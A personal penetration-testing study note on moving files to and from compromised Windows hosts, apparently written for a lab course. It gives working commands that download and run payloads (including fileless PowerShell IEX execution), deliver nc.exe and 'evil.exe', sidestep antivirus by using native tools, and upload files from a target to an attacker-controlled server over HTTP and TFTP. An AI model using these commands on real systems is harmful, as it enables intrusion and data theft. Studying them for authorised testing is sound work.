Till Studer's Notes

Recent Notes

5 min read

File Transfers

For more practical notes, see File Transfer Techniques

Considerations and Preparations

Dangers of Transferring Attack Tools

  • Could be abused by other attackers
  • Anti Virus Software will detect and remediate the tools
    • To get a round this try to use native tools as much as possible

Installing Pure-FTPd

  • install: sudo apt update && sudo apt install pure-ftpd

  • to configure and start, use this script:

    #!/bin/bash
 
sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /ftphome
sudo pure-pw mkdb
sudo cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd

The Non-Interactive Shell

  • e.g.: basic bind or reverse shell
  • if we then try to start a program which prompt us for an input (← an interaction) we won’t get the prompt message, because the STOUT is not redirected correctly
  • to fix this we can upgrade our basic shell by:
    • Unix: python -c 'import pty; pty.spawn("/bin/bash")'

Transferring Files with Windows Hosts

Non-Interactive FTP Download

  • assumption: we have a bind shell on our windows target talking with our kali instance
  • Windows by default ships with a CLI called: ftp
  • We’ll abuse the -s:filename flag which Specifies a text file containing FTP commands; the commands will automatically run after FTP starts.

    • copy the file we want to transfer into ftphome: sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/

    • restart pure-ftpd: sudo systemctl restart pure-ftpd

    • create our command text file:

      echo open 10.11.0.4 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt

    • execute: ftp -v -n -s:ftp.txt

Windows Downloads Using Scripting Languages

  • VBScript

    • place the file you want to upload to the client in the web root: sudo cp /usr/share/windows-resources/binaries/wget.exe /var/www/html/

    • create a vbs file which acts like wget:

      echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo  Err.Clear >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo  http.Open "GET", strURL, False >> wget.vbs
echo  http.Send >> wget.vbs
echo  varByteArray = http.ResponseBody >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo  Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo  strData = "" >> wget.vbs
echo  strBuffer = "" >> wget.vbs
echo  For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo  ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo  Next >> wget.vbs
echo  ts.Close >> wget.vbs

    • use that wget to download the file we placed into our web root: cscript wget.vbs http://10.11.0.4/wget.exe evil.exe

  • PowerShell

    • create a PowerShell script which acts like wget:

      echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.11.0.4/wget.exe" >>wget.ps1
echo $file = "evil.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

    • use that wget script to download the file we placed into our web root: powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

    • or just use this one-liner: powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe', 'evil.exe')

    • or if we need to be stealthy and not write the file to disk:

      • create a powershell script in our web root: echo 'Write-Output "Hello World"' > /var/www/html/helloworld.ps1
      • execute it: powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.11.0.4/helloworld.ps1')

Windows Downloads with exe2hex and PowerShell

  • The is option will take a bit longer, but it is also less common:

    • compress our binary: upx -9 evil.exe

    • covert it to hex and create a windows script: exe2hex -x evil.exe -p evil.cmd

    • copy it to our clipboard: cat evil.cmd | xclip -selection clipboard

    • paste the script into our windows shell

      • this will redirect the hex data into powershell
      • which will assemble it back into a binary

    • All this is Non-Interactive!

Windows Uploads Using Windows Scripting Languages

  • place this php code into the web root /var/www/html/upload.php:

    <?php
$uploaddir = '/var/www/uploads/';
 
$uploadfile = $uploaddir . $_FILES['file']['name'];
 
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

  • create the folder: mkdir /var/www/uploads

  • set the permissions: sudo chown www-data: /var/www/uploads

  • Remove the php file after your done! Otherwise anybody can create a file on your kali VM

  • Upload the important file from the target: powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')

Uploading Files with TFTP

  • If the target is very old (up to Windows XP and 2003) use this method

  • install a tftp server on kali, set it up and run it:

    sudo apt update && sudo apt install atftp
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp

  • on our old windows target, run tftp -i 10.11.0.4 put important.docx to upload the file

Relevant Note(s): Penetration Testing

Graph View

Backlinks